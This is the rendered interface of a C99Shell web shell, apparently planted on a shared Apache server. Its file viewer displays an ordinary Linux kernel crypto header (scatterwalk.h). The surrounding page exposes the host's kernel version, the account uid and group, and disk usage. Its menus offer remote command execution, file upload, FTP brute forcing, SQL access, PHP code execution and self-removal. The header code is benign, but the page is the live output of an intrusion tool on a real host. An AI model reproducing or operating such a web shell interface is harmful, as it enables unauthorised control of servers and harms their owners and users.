!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.3.27 

uname -a: Linux pdx1-shared-a4-04 6.6.104-grsec-jammy+ #3 SMP Tue Sep 16 00:28:11 UTC 2025 x86_64 

uid=6659440(dh_z2jmpm) gid=2086089(pg10499364) groups=2086089(pg10499364)  

Safe-mode: OFF (not secure)

/usr/src/linux-headers-6.6.116-grsec-jammy-dirty/include/crypto/   drwxr-xr-x
Free 713.97 GB of 879.6 GB (81.17%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     scatterwalk.h (2.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/* SPDX-License-Identifier: GPL-2.0-or-later */
/*
 * Cryptographic scatter and gather helpers.
 *
 * Copyright (c) 2002 James Morris <[email protected]>
 * Copyright (c) 2002 Adam J. Richter <[email protected]>
 * Copyright (c) 2004 Jean-Luc Cooke <[email protected]>
 * Copyright (c) 2007 Herbert Xu <[email protected]>
 */

#ifndef _CRYPTO_SCATTERWALK_H
#define _CRYPTO_SCATTERWALK_H

#include <crypto/algapi.h>

#include <linux/highmem.h>
#include <linux/mm.h>
#include <linux/scatterlist.h>

static inline void scatterwalk_crypto_chain(struct scatterlist *head,
                        struct scatterlist *sg, int num)
{
    if (sg)
        sg_chain(head, num, sg);
    else
        sg_mark_end(head);
}

static inline unsigned int scatterwalk_pagelen(struct scatter_walk *walk)
{
    unsigned int len = walk->sg->offset + walk->sg->length - walk->offset;
    unsigned int len_this_page = offset_in_page(~walk->offset) + 1;
    return len_this_page > len ? len : len_this_page;
}

static inline unsigned int scatterwalk_clamp(struct scatter_walk *walk,
                         unsigned int nbytes)
{
    unsigned int len_this_page = scatterwalk_pagelen(walk);
    return nbytes > len_this_page ? len_this_page : nbytes;
}

static inline void scatterwalk_advance(struct scatter_walk *walk,
                       unsigned int nbytes)
{
    walk->offset += nbytes;
}

static inline struct page *scatterwalk_page(struct scatter_walk *walk)
{
    return sg_page(walk->sg) + (walk->offset >> PAGE_SHIFT);
}

static inline void scatterwalk_unmap(void *vaddr)
{
    kunmap_local(vaddr);
}

static inline void scatterwalk_start(struct scatter_walk *walk,
                     struct scatterlist *sg)
{
    walk->sg = sg;
    walk->offset = sg->offset;
}

static inline void *scatterwalk_map(struct scatter_walk *walk)
{
    return kmap_local_page(scatterwalk_page(walk)) +
           offset_in_page(walk->offset);
}

static inline void scatterwalk_pagedone(struct scatter_walk *walk, int out,
                    unsigned int more)
{
    if (out) {
        struct page *page;

        page = sg_page(walk->sg) + ((walk->offset - 1) >> PAGE_SHIFT);
        flush_dcache_page(page);
    }

    if (more && walk->offset >= walk->sg->offset + walk->sg->length)
        scatterwalk_start(walk, sg_next(walk->sg));
}

static inline void scatterwalk_done(struct scatter_walk *walk, int out,
                    int more)
{
    if (!more || walk->offset >= walk->sg->offset + walk->sg->length ||
        !(walk->offset & (PAGE_SIZE - 1)))
        scatterwalk_pagedone(walk, out, more);
}

void scatterwalk_copychunks(void *buf, struct scatter_walk *walk,
                size_t nbytes, int out);

void scatterwalk_map_and_copy(void *buf, struct scatterlist *sg,
                  unsigned int start, unsigned int nbytes, int out);

struct scatterlist *scatterwalk_ffwd(struct scatterlist dst[2],
                     struct scatterlist *src,
                     unsigned int len);

#endif  /* _CRYPTO_SCATTERWALK_H */

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0256 ]--